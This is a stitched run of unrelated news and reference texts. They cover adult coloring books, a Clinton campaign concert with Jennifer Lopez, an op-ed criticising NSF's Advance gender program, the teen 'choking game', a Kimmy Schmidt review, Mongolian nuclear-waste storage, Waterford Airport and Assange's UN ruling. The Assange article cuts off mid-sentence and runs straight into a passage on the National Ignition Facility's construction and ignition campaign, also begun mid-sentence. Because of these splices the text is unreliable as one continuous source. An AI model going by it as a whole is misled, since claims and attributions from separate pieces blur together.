While that claim is clearly too deterministic, it nods to an actual study. In 1966, Stuart Brown, a physician and psychiatrist, investigated the background of Charles Whitman, a mass murderer in Texas, and realized that the Whitman had had essentially no opportunities for play during childhood; Brown subsequently did a pilot study of twenty-six mass murderers and discovered that ninety per cent of them had lacked playtime during childhood. (But then, ninety per cent had also been physically abused.) Brown went on to found the National Institute for Play, in 2006, which argues for the benefits of playtime for people of all ages. In his book “Play: How It Shapes the Brain, Opens the Imagination, and Invigorates the Soul” (2010), he writes, for example, of “Laurel,” a C.E.O. whose “irrational bliss” during horseback riding and spontaneous play “has spilled over into her family and work.” Such anecdotes have been backed by some psychological research. Brown’s book drew on more than six thousand “play histories” that he conducted across four decades, while an article on playfulness in adults published earlier this year in the American Journal of Play cited findings that play correlates with academic and reproductive success, stress reduction, and innovative performance at work.
These kinds of studies translate into marketing claims that can go overboard, if rarely to the extent of “Play prevents murdering.” The word “therapy” appears frequently in adult-coloring-book titles, for instance, while Dover’s Creative Haven series is marketed as “an escape to a world of inspiration and artistic fulfillment.” Susan Linn, a psychologist at Harvard Medical School, pointed out to me that, however soothing and enjoyable coloring might be, these books aren’t even an especially creative endeavor for children, and that products marketed as therapeutic play sometimes barely qualify as playful. They hold users by the hand, she said, whereas “the best toys are ninety per cent child and ten per cent toy.” Coloring might help to release tension, but it’s a fundamentally more directed and restrictive activity than painting something from scratch.
Susan Jacoby, the author of “The Age of American Unreason,” was more unequivocally skeptical of the phenomenon. “There’s a line from the Bible, ‘When I was a child, I thought as a child, but as an adult, I put away childish things,’ ” she said. “The coloring book is an artifact of a broader cultural shift. And that cultural shift is a bad thing.” According to Jacoby, adults who immerse themselves in escapist fantasies like coloring books, camps, and preschool are regressing into safe patterns in order to avoid confronting the world around them. “I think the whole popularity of young-adult literature is a general decline of people not wanting to do things that require effort,” she said. She also suggested that the Great Recession might have contributed to the broader cultural shift, with people in their twenties moving back into their childhood homes because they couldn’t get jobs, and experiencing psychological retreat instead of developing as mature adults.
There is, in fact, a minor tradition in the U.S. of recessions being marketed as a time for recess activities. In 1982, during the aftermath of the nineteen-seventies energy crisis, Wham-O, maker of the hula hoop, attempted to introduce a peppermint-scented hoop into the marketplace. The original had launched in 1958, during another recession. “Wham-O has always felt that when the world is in kind of a messy way and people are unhappy, something like the hoop lets them just forget everything while they go crazy for a minute or two spinning around,” one of the company’s vice-presidents said when the scented hoop was unveiled.
The peppermint hoop failed spectacularly—history doesn’t record whether the U.S.’s emergence from the recession later that year was to blame. But with the current economic recovery coming along, if slowly, in the U.S., adult coloring books don’t seem to be experiencing the same fate. On August 2nd, Dover is inviting colorists of all ages to participate in the inaugural National Coloring Book Day. A few months later, in October, Bantam Books will release a “Game of Thrones”–themed coloring book, with George R.R. Martin himself overseeing the project. And that same month, Basford’s next book, “The Lost Ocean: An Underwater Adventure and Coloring Book,” will go on sale. “Coloring is so accessible,” she told me. “It unleashes the creativity we all have in a way that’s quite safe.”
*This post originally stated that Susan Linn is a psychiatrist; she is a psychologist.Hillary Clinton embraces singer Jennifer Lopez during a Get Out The Vote concert on Oct. 29 in Miami. Hillary Clinton attended a concert with Jennifer Lopez and Marc Anthony. (Justin Sullivan/Getty Images)
MIAMI — A mid-performance downpour seemingly did little to dampen the enthusiasm of a crowd of 7,500 that turned out Saturday night for an outdoor concert by Jennifer Lopez staged to drum up enthusiasm for Hillary Clinton's campaign.
The Democratic nominee appeared on stage with the pop superstar as she finished her hit “Let's Get Loud.” The two embraced, and then Clinton encouraged members of the crowd to vote early and took some shots at Republican nominee Donald Trump.
“Donald Trump is out there stoking fear,” Clinton said to boos from a crowd that included many Latinos. “Disgracing our democracy and insulting one group of Americans after another. So let me ask you this? Are we going to let Donald Trump get away with that? You're right. We're not.”
[Clinton campaign scrambles to respond to renewed FBI investigation]
The concert is part of a series the Clinton campaign is hosting in battleground states around the country as the election draws near. Jon Bon Jovi, Katy Perry and Jay Z are among other performers headlining shows.
Lopez, who endorsed Clinton last year, introduced Clinton as “the next and first female president” and implored her fans to vote for her.
“We’re at a crossroads, and we have to take the right road to the future,” she said. “We have the perfect person to take us there.”
Lopez was joined at the event in a downtown amphitheater by several other artists, including Marc Anthony, her ex-husband, and a pop star in his own right.
Anthony said he wanted to remind Latinos in particular “how important a moment in history” this election is.
Trump has drawn the ire of many Hispanics for his plans for mass deportations of undocumented immigrants and claiming a federal judge of Mexican heritage would be biased against him.
A massive but brief rainstorm 15 minutes into Lopez’s set on Saturday night sent few members of the crowd home.Over the past decade the National Science Foundation has funneled $135 million into a "gender bias program" called Advance. Its stated purpose: to advance women in science. In practice it does little to help women, but its potential to inflict lasting damage on fields that drive the American economy--engineering, physics and computer technology--is enormous.
Virginia Valian, a feminist psychologist at Hunter College, is credited with providing Advance with its "conceptual tools." With the help of a $3.9 million NSF grant, she and her colleagues developed the Gender Equity Project, which sponsors workshops aimed at transforming American laboratory culture. According to Valian, the compulsive work habits, single-minded dedication and "intense desire for achievement" that typify elite scientists not only marginalize women but also compromise good science. She says, "If we continue to emphasize and reward always being on the job, we will never find out whether leading a balanced life leads to equally good or better scientific work." A world where women (and resocialized men) earn Nobel Prizes on flextime has no basis in reality. But the Advance program is not about reality.
For many years NSF has sponsored admirable programs that truly help and encourage women scientists. But a 1999 mit report alleging pervasive sexism persuaded NSF officials that encouragement was not enough: The culture of American science had to change. Scholars in the National Council for Research on Women were ready with an avalanche of advocacy research describing the "hostile environment" women face in the laboratory. One NCRW author lashed out at the "manliness of the scientific enterprise" with its obsessive single-mindedness, competitiveness and antagonism to family life. By 2006 former Clinton Administration official Donna Shalala would testify at a congressional hearing that gender bias in the laboratory was a national "crisis" requiring dramatic federal action. "Our nation's future depends on it."
But evidence for bias against women in science is weak. In a 2009 collection I edited, The Science on Women and Science, distinguished scholars such as Simon Baron-Cohen, Jerre Levy and David Geary point to data that suggest men and women, on average, have different career interests and propensities. Women are underrepresented in engineering but more than hold their own in sociology and biology Ph.D. programs. Is this because engineering departments discriminate against women while biology departments do not? Or is it because more women choose not to spend their lives with inanimate objects?
In another recent book, The Mathematics of Sex, Cornell researchers Stephen Ceci and Wendy Williams politely demolish studies that are presented in NSF workshops as settled science. They note, for example, that the mit report that inspired Advance was based on data never made public. Data from a much-quoted 1997 Swedish study "proving" sexism in peer review have somehow gone missing. The NSF itself sponsored a study in 2009 that admitted "that, at many critical transition points in their academic careers (e.g., hiring for tenure-track and tenured positions and promotions), women appear to have fared as well as or better than men."
There are brilliant women working in all areas of American science, and there is a need for reasonable and sound initiatives to help them succeed. But these efforts must be respectful, not contemptuous of the culture of American science. They should take into account the true state of the research on gender and science--not just the assertions of impassioned activists.
Advance marches on. Now any engineering, physics, math or computer-technology program that moves too slowly toward gender parity is inviting a government investigation and loss of funding. The nation's leading programs are under pressure to adopt gender quotas and to rein in their competitive, hard-driven, meritocratic culture--a culture that has made American science the mightiest in the world.
Christina Hoff Sommers is a resident scholar at the American Enterprise Institute. She has written and edited several books, including The Science on Women and Science (AEI Press, 2009).
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A new study published in the journal Pediatrics finds that 6 percent of Oregon eighth-graders have played the "choking game," in which thrill-seekers cut off oxygen and blood flow to the brain for kicks. The potentially deadly practice has been around for years, but it now seems to be increasing in popularity, possibly because kids who have done it may be encouraging others to try it by posting videos on YouTube. Just how dangerous is the choking game? Here, a brief guide:
What is the choking game?
It's not really a game. It involves choking oneself using a rope or belt, or having a friend do the honors with a choke hold. The idea is to cut off blood flow to the brain just enough to experience the sensation of nearly passing out.
Why on earth would kids do such a thing?
Cutting off the brain's oxygen supply induces "a warm, fuzzy, light-headed sensation similar to feeling high," says Miriam Weiner at U.S. News & World Report. When blood flow is restored, kids "see stars and the feeling is described as a rush," Thomas A. Andrew, New Hampshire's chief medical examiner, tells NPR. The trouble is, the choking game can cause brain damage, and kids frequently push it too far, causing them to pass out and risk stroke, or even death.
How often is the choking game fatal?
The U.S. Centers for Disease Control and Prevention attributed 82 deaths between 1995 and 2007 to the choking game. Child health experts say the numbers are probably even higher, as some choking game deaths are probably mistakenly labeled suicides.
What sort of kids play the choking game?
All kinds, apparently. Researchers found that teens who had tried the choking game were more likely than their peers to experiment with sex, alcohol, and drugs. But "it's also practiced by 'good kids,'" Dr. Hatim Omar, chief of adolescent medicine at the University of Kentucky, tells ABC News, "who do not want to do drugs... They perceive that this is a 'legal' way to get high."
What can be done to address the problem?
Robert Nystrom of the Oregon Public Health Division, one of the authors of the new study, says the important thing is for parents and pediatricians to watch for warning signs, such as bruising around the neck, headaches, and bloodshot eyes. We have to raise awareness, says Judy Rogg, whose 12-year-old son, Erik, died playing the choking game. "And kids need to really understand just what can happen to them."
Sources: ABC News, NPR, Oregonian, U.S. News & World ReportThe weirder and more random Unbreakable Kimmy Schmidt gets, the more enjoyable it is. Season two of the show is more enjoyable than season one because, for long stretches, it barely remembers what it’s about, plot-wise, and enters that trancelike comedy zone where some of the best sketch comedy resides — a place of one-damn-thing-after-another inventiveness.
For my money, season two hits Peak Weird in episode nine, which cuts between Kimmy’s relationship with one of her Uber passengers — a binge-drinking therapist (played by series co-creator and 30 Rock creator-star Tina Fey) who urges her to stop repressing the trauma of her 15 years of captivity in the cult — and her roommate, Titus Andromedon, obsessing over an audiocassette hutch. The episode is as perfectly structured as a half-hour of comedy can be while being mostly silly and dancing around the edges of anything emotionally big. Throughout the series, Kimmy (Ellie Kemper) deals with what is, for a sprightly sitcom character, some heavy-duty pain; emotionally as well as culturally, she’s still stuck in the ’90s and struggling to sync up with the present. The repressed past of Titus (Tituss Burgess) comes rushing back this season as well, and if you squint a bit, his meltdown over the hutch starts to look a little bit like an echo of the terrific opening episode in which his ex-wife Vonda (Pernell Walker) comes back into his life. The episode is filled with marvelous oddball grace notes, many of them of 30 Rock vintage, such as the succession of ’80s power-ballad parodies that play on the soundtrack (“Brother Baptist,” “I’m Convinced I Can Swim”) and Titus’s apparent slow-motion run toward Kimmy at the end, the ecstasy of which is punctured when Titus confesses that he’s just a slow runner.
Unbreakable Kimmy Schmidt is on firmer ground this time than it was in its first season, which sometimes tried too hard to be culturally or politically edgy — a mode that Fey and her 30 Rock collaborators had only intermittent luck with during the show’s long run on NBC. In season one of Kimmy, as on 30 Rock, the writers sometimes seemed convinced that they could traffic in racial, ethnic, borderline homophobic, or otherwise troublesome humor without fear of repercussion as long as they announced upfront that they knew the joke was offensive and turned it around at the end so that it landed on a clueless white person. The story line involving Jane Krakowski’s Jacqueline Voorhees embracing her hidden Native American heritage was one notorious example. The scenes with Jacqueline and her parents dealt rather bluntly with the repercussions of light-skinned Native people “passing” for white — this Indian Country Today article criticizes some aspects and defends others — but to this viewer, it all ultimately felt like a build-up to a scene of Jacqueline attacking a busload of high-school band nerds clad in “Redskin” uniforms and then howling at the moon like a Comanche warrior in a 1940s B Western. 30 Rock did that kind of thing, too. Whenever it did, the jokes left a sour aftertaste because it made the series seem self-congratulatory and clueless — as if it was so proud of itself for successfully sending up Tracy Jordan’s race-related opportunism (A Blaffair to Rememblack) that it figured it could do anything.
Many of Kimmy Schmidt’s season-two episodes play like 30 Rock with nothing to prove. They come across as outrageous without seeming as if they’re trying too hard to be outrageous. Many of them have a relaxed, almost blissed-out quality, as if the writers have locked onto a comic wavelength that they were only occasionally tuned into the first time out. My colleague Jesse David Fox gets at the mechanics of the show’s humor in his breakdown of just one joke from the season premiere: the flashback to Titus (a.k.a. Ronald) and Vonda making out while watching TV. The three pop-culture references in this scene — to Tim Meadows, David Spade, and Hootie and the Blowfish — aren’t just cute time-capsule nods; they develop both characters as individuals whose sense of what’s sexy defies any stereotypes you expect the series to indulge. Every couple of scenes there’s a gag like that one — a bit that plays on a particular set of expectations and then turns them inside out, like Jacqueline lashing out against the patriarchal authority of a car-navigation computer that eventually re-routes her to the “tampon store.” Kimmy Schmidt was a buzzy show in its first season because NBC rejected it as too edgy and weird for broadcast television, but it has already grown beyond that, and it’s carrying itself with the confidence of a sitcom that has nothing to prove. Another couple of seasons like this one and it’ll be a pantheon series.TOKYO, May 9 (Reuters) - Japan and the United States plan to jointly build a spent nuclear fuel storage facility in Mongolia to serve customers of their nuclear plant exporters, pushing ahead despite Japan’s prolonged nuclear crisis, the Mainichi daily said on Monday.
A Trade Ministry official said Japan, U.S. and Mongolia officials, at a meeting shortly before Japan’s March 11 earthquake, informally discussed possible construction of a nuclear waste storage facility for countries with nuclear power plants but no spent fuel storage capability of their own.
He said there were no concrete plans at this time but the ministry would consider such a project if Mongolia were interested.
The Mainichi said the facility would allow Japanese and U.S. nuclear plant exporters, which include joint ventures and units of General Electric, Hitachi and Toshiba, to better compete with Russian rivals that offer potential nuclear plant customers spent fuel disposal in a package.
Mongolia plans to have its first nuclear power plant by 2020 and to build nuclear fuel production capacity to tap its rich uranium resources, undeterred by the crisis at Japan’s Fukushima nuclear power complex, a senior official at the state-owned MonAtom LLC said in April.
MonAtom represents the Mongolian government in mining and developing the country’s uranium resources.
The trade ministry official denied the Mainichi’s report that the three countries had originally planned to sign a deal on the spent fuel disposal project in February but it was postponed as Japan’s Foreign Ministry opposed the schedule, citing a lack of consensus among Japanese ministries.
The Mainichi said a new date had not been set in the wake of the March 11 earthquake and tsunami in northeast Japan, which triggered cooling system malfunctions at Tokyo Electric Power Co’s Fukushima Daiichi nuclear plant and led to radiation leaks into the atmosphere and the sea.
Engineers are still struggling to bring the plant under control. (Reporting by Kiyoshi Takenaka; Editing by Edmund Klamann)WATERFORD AIRPORT OFFICIALS have had “detailed discussions” with several carriers about securing a new route to the UK after the hub’s sole scheduled service was dumped last year.
Minister for Transport Shane Ross this week said he was “very optimistic” the airport would get another commercial operator following the departure of Belgian airline VLM and its London Luton flights eight months ago.
Waterford has struggled to attract airlines, mainly because its runway is too short for aircraft larger than small, turboprop planes that carry about 50 passengers.
The airport received a €1 million state grant last year to help cover operational costs as part of a €2.7 million state fund made available to regional airports.
An additional grant of €870,000 has also been earmarked for it as part of the regional airports programme. However, management won’t receive that money until it resumes scheduled passenger services.
Transport Minister Shane Ross Source: Sam Boal/Rollingnews.ie
Ross will meet with management at Waterford Airport tomorrow as the company enters negotiations with potential replacement carriers.
The minister wouldn’t confirm what airlines Waterford has been talking to, citing commercial sensitivity, only that he was visiting to “discuss the future of the airport”.
The airport’s chief executive, Desmond O’Flynn, told Fora tomorrow’s meeting will be the first time the airport has sat down with the minister since VLM pulled out last summer, although there has been regular correspondence between management and transport officials.
He declined to answer questions put to him over the phone, but the airport later issued an email response through its press office. It confirmed it had ”detailed discussions with a number of operators to resume a series of scheduled air services to the UK in the course of 2017″.
‘Specific discussions’
The chief executive of Waterford Chamber of Commerce, Nick Donnelly, said the issue of the airport’s future is “sensitive at the minute” because of “very specific discussions” with carriers to succeed VLM.
He stressed that although Waterford doesn’t currently have commercial flights, ”the airport is still a fully operational entity” that handles private jets and a coastguard helicopter.
Waterford Chamber of Commerce CEO Nick Donnelly Source: YouTube
“Since the departure of VLM, management and staff at the airport have been trying to examine every option possible,” he said.
Donnelly added he was confident that “everybody is making a massive effort to secure” a new route and that “no stone has been left unturned”.
Viability
Waterford Sinn Féin TD David Cullinane said that if a runway extension isn’t built in the medium- to long-term, “the viability of the airport will come into play”.
“We’ve seen lots of carriers come in on a temporary basis and then they go again,” he said. “The reason why is because airlines are limited to what aircraft can land and take off. That level of restriction in a very competitive environment is obviously very, very difficult and unsustainable.”
Waterford TD David Cullinane Source: Sam Boal/Rollingnews.ie
It has long been acknowledged that a runway expansion at Waterford would make it a much more viable business.
However, state money can’t be used for airport infrastructure, so any government grants received cannot be used to build a longer runway.
Cullinane said one possible option for funding an extension would be a partnership between private investors and the local council.
“The local authority could take equity in it along with a private-sector consortium,” he said.
Donnelly said that nobody would deny that a runway extension would be beneficial, but “the reality of it is that we have what we have and discussions with operators are around what we currently offer”.
Waterford Airport said in its statement that “it continues to seek both local and regional funding for the runway extension”.
Location
Another problem facing Waterford is its close proximity to other airports. It is roughly a two-hour drive from facilities at Cork and Dublin.
But Cullinane said there is a clear appetite from businesses in the area to see the airport as a fully functioning operation.
He said a connection with London was important for manufacturing businesses in the area and that it would make it easier “to transport executives from different multinational companies” located in the county.
The absence of a direct access to the UK “puts us at an un-level playing field,” he said.
“Nobody is asking the state to prop something up that’s not viable. I certainly would not do so,” he said.
“Having said that, there’s an obligation on the state to make sure that from an economic perspective and social perspective a region has an airport that can service the needs of industry and of people who live in the area.”
Written by Conor McMahon and posted on Fora.ieA UN panel terms the restriction on the whistleblower’s movement as arbitrary, but the governments of Sweden and the UK are in no mood to let him breathe easy
On February 5, WikiLeaks founder Julian Assange brandished a copy of a UN report from the balcony of the Ecuadorian embassy in London. The report – a UN panel’s opinion on Assange’s case – vindicated the 44-year-old Australian who stood under the red, blue and yellow flag of Ecuador and declared, “This is a victory that cannot be denied. It is a victory of historical importance…”
The Working Group on Arbitrary Detention (WGAD), a United Nations’ body of independent human rights experts, adopted its ruling on Assange on December 4 last year and announced its views to the world two months later. It states that the deprivation of liberty of Assange is “arbitrary” calling upon the governments of Sweden and the UK to ensure his freedom of movement, and additionally “accord him an enforceable right to compensation”.
Under the authority of the UN Office of the High Commissioner for Human Rights (OHCHR), the WGAD was established in 1991 and is the highest authoritative body in the UN for conflict resolution between individuals and states, the rulings |
and 80-foot-wide slabs, each containing 3,800 cubic yards of concrete, required continuous concrete pours to achieve their specifications.
There were also unexpected challenges to cope with: In November, 1997, an El Niño weather front dumped two inches of rain in two hours, flooding the NIF site with 200,000 gallons of water just three days before the scheduled concrete foundation pour. The earth was so soaked that the framing for the retaining wall sank six inches, forcing the crew to disassemble and reassemble it in order to pour the concrete.[62] Construction was halted in December, 1997, when 16,000-year-old mammoth bones were discovered on the construction site. Paleontologists were called in to remove and preserve the bones, and construction restarted within four days.[63]
A variety of research and development, technology and engineering challenges also had to be overcome, such as working with the optics industry to create a precision large optics fabrication capability to supply the laser glass for NIF's 7,500 meter-sized optics. State-of-the-art optics measurement, coating and finishing techniques were needed to withstand NIF's high-energy lasers, as were methods for amplifying the laser beams to the needed energy levels.[64] Continuous-pour glass, rapid-growth crystals, innovative optical switches, and deformable mirrors were among the technology innovations developed for NIF.[65]
Sandia, with extensive experience in pulsed power delivery, designed the capacitor banks used to feed the flashlamps, completing the first unit in October 1998. To everyone's surprise, the Pulsed Power Conditioning Modules (PCMs) suffered capacitor failures that led to explosions. This required a redesign of the module to contain the debris, but since the concrete structure of the buildings holding them had already been poured, this left the new modules so tightly packed that there was no way to do maintenance in-place. Yet another redesign followed, this time allowing the modules to be removed from the bays for servicing.[37] Continuing problems of this sort further delayed the operational start of the project, and in September 1999, an updated DOE report stated that NIF would require up to $350 million more and completion would be pushed back to 2006.[60]
Re-baseline and GAO report [ edit ]
Bill Richardson began a review process that brought NIF construction back under control.
Throughout this period the problems with NIF were not being reported up the management chain. In 1999 then Secretary of Energy Bill Richardson reported to Congress that the NIF project was on time and budget, following the information that had been passed onto him by NIF's management. In August that year it was revealed that NIF management had misled Richardson, and in fact neither claim was close to the truth.[66] As the GAO would later note, "Furthermore, the Laboratory's former laser director, who oversaw NIF and all other laser activities, assured Laboratory managers, DOE, the university, and the Congress that the NIF project was adequately funded and staffed and was continuing on cost and schedule, even while he was briefed on clear and growing evidence that NIF had serious problems".[60] Richardson later commented "I have been very concerned about the management of this facility... bad management has overtaken good science. I don't want this to ever happen again". A DOE Task Force reporting to Richardson late in January 2000 summarized that "organizations of the NIF project failed to implement program and project management procedures and processes commensurate with a major research and development project... [and that]...no one gets a passing grade on NIF Management: not the DOE's office of Defense Programs, not the Lawrence Livermore National Laboratory and not the University of California".[67]
Given the budget problems, the US Congress requested an independent review by the General Accounting Office (GAO). They returned a highly critical report in August 2000 stating that the budget was likely $3.9 billion, including R&D, and that the facility was unlikely to be completed anywhere near on time.[60][68] The report, "Management and Oversight Failures Caused Major Cost Overruns and Schedule Delays," identified management problems for the overruns, and also criticized the program for failing to include a considerable amount of money dedicated to target fabrication in the budget, including it in operational costs instead of development.[66]
Early technical delays and project management issues caused the DOE to begin a comprehensive "Rebaseline Validation Review of the National Ignition Facility Project" in 2000, which took a critical look at the project, identifying areas of concern and adjusting the schedule and budget to ensure completion. John Gordon, National Nuclear Security Administrator, stated "We have prepared a detailed bottom-up cost and schedule to complete the NIF project... The independent review supports our position that the NIF management team has made significant progress and resolved earlier problems".[69] The report revised their budget estimate to $2.25 billion, not including related R&D which pushed it to $3.3 billion total, and pushed back the completion date to 2006 with the first lines coming online in 2004.[70][71] A follow-up report the next year included all of these items, pushing the budget to $4.2 billion, and the completion date to around 2008.
Progress after rebaselining [ edit ]
Laser Bay 2 was commissioned in July 2007
A new management team took over the NIF project[72][73] in September 1999, headed by George Miller (who later became LLNL director 2006-2011), who was named acting associate director for lasers. Ed Moses, former head of the Atomic Vapor Laser Isotope Separation (AVLIS) program at LLNL, became NIF project manager. Since the rebaselining, NIF's management has received many positive reviews and the project has met the budgets and schedules approved by Congress. In October 2010, the project was named "Project of the Year" by the Project Management Institute, which cited NIF as a "stellar example of how properly applied project management excellence can bring together global teams to deliver a project of this scale and importance efficiently."[74]
Recent reviews of the project have been positive, generally in keeping with the post-GAO Rebaseline schedules and budgets. However, there were lingering concerns about the NIF's ability to reach ignition, at least in the short term. An independent review by the JASON Defense Advisory Group was generally positive about NIF's prospects over the long term, but concluded that "The scientific and technical challenges in such a complex activity suggest that success in the early attempts at ignition in 2010, while possible, is unlikely".[75] The group suggested a number of changes to the completion timeline to bring NIF to its full design power as soon as possible, skipping over a testing period at lower powers that they felt had little value.
Early tests and construction completion [ edit ]
In May 2003, the NIF achieved "first light" on a bundle of four beams, producing a 10.4 kJ pulse of IR light in a single beamline.[22] In 2005 the first eight beams (a full bundle) were fired producing 153 kJ of infrared light, thus eclipsing OMEGA as the highest energy laser (per pulse) on the planet. By January 2007 all of the LRUs in the Master Oscillator Room (MOOR) were complete and the computer room had been installed. By August 2007 96 laser lines were completed and commissioned, and "A total infrared energy of more than 2.5 megajoules has now been fired. This is more than 40 times what the Nova laser typically operated at the time it was the world's largest laser".[76]
On January 26, 2009, the final line replaceable unit (LRU) was installed, completing one of the final major milestones of the NIF construction project[77] and meaning that construction was unofficially completed.[78] On February 26, 2009, for the first time NIF fired all 192 laser beams into the target chamber.[79] On March 10, 2009, NIF became the first laser to break the megajoule barrier, firing all 192 beams and delivering 1.1 MJ of ultraviolet light, known as 3ω, to the target chamber center in a shaped ignition pulse.[80] The main laser delivered 1.952 MJ of infrared energy.
Operations [ edit ]
On 29 May 2009 the NIF was dedicated in a ceremony attended by thousands, including California Governor Arnold Schwarzenegger and Senator Dianne Feinstein.[4] The first laser shots into a hohlraum target were fired in late June 2009.[5]
Buildup to main experiments [ edit ]
On January 28, 2010, the facility published a paper reporting the delivery of a 669 kJ pulse to a gold hohlraum, setting new records for power delivery by a laser, and leading to analysis suggesting that suspected interference by generated plasma would not be a problem in igniting a fusion reaction.[81][82] Due to the size of the test hohlraums, laser/plasma interactions produced plasma-optics gratings, acting like tiny prisms, which produced symmetric X-ray drive on the capsule inside the hohlraum.[82]
After gradually altering the wavelength of the laser, they were able to compress a spherical capsule evenly, and were able to heat it up to 3.3 million kelvins (285 eV).[83] The capsule contained cryogenically cooled gas, acting as a substitute for the deuterium and tritium fuel capsules that will be used later on.[82] Plasma Physics Group Leader Dr. Siegfried Glenzer said they've shown they can maintain the precise fuel layers needed in the lab, but not yet within the laser system.[83]
As of January 2010, the NIF could run as high as 1.8 megajoules. Glenzer said that experiments with slightly larger hohlraums containing fusion-ready fuel pellets would begin before May 2010, slowly ramping up to 1.2 megajoules—enough for ignition according to calculations. But first the target chamber needed to be equipped with shields to block neutrons that a fusion reaction would produce.[81] On June 5, 2010 the NIF team fired lasers at the target chamber for the first time in six months; realignment of the beams took place later in June in preparation for further high-energy operation.[84]
National Ignition Campaign [ edit ]
Technician works on target positioner inside National Ignition Facility (NIF) target chamber.
With the main construction complete, NIF started working on the "National Ignition Campaign" (NIC), the quest to reach ignition. By this time, so sure were the experimenters that ignition would be reached that articles began appearing in science magazines stating that it would be announced only a short time after the article was published. Scientific American started a 2010 review article with the statement "Ignition is close now. Within a year or two..."[85]
The first test was carried out on 8 October 2010 at slightly over 1 MJ. However, a number of problems slowed the drive toward ignition-level laser energies in the 1.4 to 1.5 MJ range.
Progress was initially slowed by the potential for damage from overheating due to a concentration of energy on optical components that is greater than anything previously attempted.[86] Other issues included problems layering the fuel inside the targets, and minute quantities of dust being found on the capsule surface.[87]
As the power was increased and targets of increasing sophistication were used, another problem appeared that was causing an asymmetric implosion. This was eventually traced to minute amounts of water vapor in the target chamber which froze to the windows on the ends of the hohlraums. This was solved by re-designing the hohlraum with two layers of glass on either end, in effect creating a storm window.[87] Steven Koonin, DOE undersecretary for science, visited the lab for an update on the NIC on 23 April, the day after the window problem was announced as solved. On 10 March he had described the NIC as "a goal of overriding importance for the DOE" and expressed that progress to date "was not as rapid as I had hoped".[87]
NIC shots halted in February 2011, as the machine was turned over to SSMP materials experiments. As these experiments wound down, a series of planned upgrades were carried out, notably a series of improved diagnostic and measurement instruments. Among these changes were the addition of the ARC (Advanced Radiographic Capability) system, which uses 4 of the NIF's 192 beams as a backlighting source for high-speed imaging of the implosion sequence.
ARC is essentially a petawatt-class laser with peak power exceeding a quadrillion (1015) watts. It is designed to produce brighter, more penetrating, higher-energy x rays than can be obtained with conventional radiographic techniques. When complete, ARC will be the world's highest-energy short-pulse laser, capable of creating picosecond-duration laser pulses to produce energetic x rays in the range of 50-100 keV for backlighting NIF experiments.[88]
NIC runs restarted in May 2011 with the goal of timing the four laser shock waves that compress the fusion target to very high precision. The shots tested the symmetry of the X-ray drive during the first three nanoseconds. Full-system shots fired in the second half of May achieved unprecedented peak pressures of 50 megabars.[89]
In January 2012, Mike Dunne, director of NIF's laser fusion energy program, predicted in a Photonics West 2012 plenary talk that ignition would be achieved at NIF by October 2012.[90] In the same month, the NIF fired a record high of 57 shots, more than in any month up to that point.[91] On March 15, 2012, NIF produced a laser pulse with 411 trillion watts of peak power.[92] On July 5, 2012, it produced a shorter pulse of 1.85 MJ and increased power of 500 TW.[93]
DOE Report, July 19, 2012 [ edit ]
The NIC campaign has been periodically reviewed by a team led by Steven E. Koonin, Under Secretary of Science. The 6th review, May 31, 2012 was chaired by David H. Crandall, Advisor on National Security and Inertial Fusion, Koonin being precluded to chair the review because of a conflict of interest. The review was conducted with the same external reviewers, who had previously served Koonin. Each provided their report independently, with their own estimate of the probability of achieving ignition within the plan, i.e. before December 31, 2012. The conclusion of the review was published on July 19, 2012.[94]
The previous review dated January 31, 2012, identified a number of experimental improvements that have been completed or are under way.[94] The new report unanimously praised the quality of the installation: lasers, optics, targets, diagnostics, operations have all been outstanding, however:
The integrated conclusion based on this extensive period of experimentation, however, is that considerable hurdles must be overcome to reach ignition or the goal of observing unequivocal alpha heating. Indeed the reviewers note that given the unknowns with the present'semi-empirical' approach, the probability of ignition before the end of December is extremely low and even the goal of demonstrating unambiguous alpha heating is challenging. (Crandall Memo 2012, p. 2)
Further, the report members express deep concerns on the gaps between observed performance and ICF simulation codes such that the current codes are of a limited utility going forward. Specifically, they found a lack of predictive ability of the radiation drive to the capsule and inadequately modeled laser-plasma interactions. These effects lead to pressure being one half to one third of that required for ignition, far below the predicted values. The memo page 5 discusses the mix of ablator material and capsule fuel due likely to hydrodynamics instabilities in the outer surface of the ablator.[94]
The report goes on to suggest that using a thicker ablator may improve performance, but this increases its inertia. To keep the required implosion speed, they request that the NIF energy be increased to 2MJ. One must also keep in mind that neodymium lasers can withstand only a limited amount of energy or risk permanent damage to the optical quality of the lasing medium. The reviewers question whether or not the energy of NIF is sufficient to indirectly compress a large enough capsule to avoid the mix limit and reach ignition. The report concluded that ignition within the calendar year 2012 is 'highly unlikely'.[94]
Ignition fails, focus shifts, LIFE ends [ edit ]
The NIC officially ended on September 30, 2012 without achieving ignition. According to numerous articles in the press,[96][97] Congress was concerned about the project's progress and funding arguments may begin anew.[98][99][100] These reports also suggested that NIF will shift its focus away from ignition back toward materials research.[101][102]
In 2008, as NIF was reaching completion, LLNL began the Laser Inertial Fusion Energy program, or LIFE, to explore ways to use the NIF technologies as the basis for a commercial power plant design. Early studies considered the fission-fusion hybrid concept, but from 2009 the focus was on pure fusion devices, incorporating a number of technologies that were being developed in parallel with NIF that would greatly improve the performance of the design. All of these, however, were based on the idea that NIF would achieve ignition, and that only minor changes to the basic design would be required to improve performance. In April 2014, Livermore decided to end the LIFE efforts. Bret Knapp, Livermore acting director was quoted as saying that "The focus of our inertial confinement fusion efforts is on understanding ignition on NIF rather than on the LIFE concept."[103]
A memo sent on 29 September 2013 by Ed Moses describes a fusion shot that took place at 5:15 a.m. on 28 September. It produced 5×1015 neutrons, 75% more than any previous shot. Alpha heating, a key component of ignition, was clearly seen. It also noted that the reaction released more energy than the "energy being absorbed by the fuel", a condition the memo referred to as "scientific breakeven".[104] This received significant press coverage as it appeared to suggest a key threshold had been achieved, which was referred to as a "milestone".[105]
However, a number of researchers pointed out that the experiment was far below ignition, and did not represent a breakthrough as reported.[106] Others noted that the definition of breakeven as recorded in many references, and directly stated by Moses in the past, was when the fusion output was equal to the laser input. In this release, the term was changed to refer to the energy deposited in the fuel, not the energy of the laser.[107] The method used to reach these levels, known as the "high foot", is not suitable for general ignition, and as a result, it is still unclear whether NIF will ever reach this goal.[108]
Stockpile experiments [ edit ]
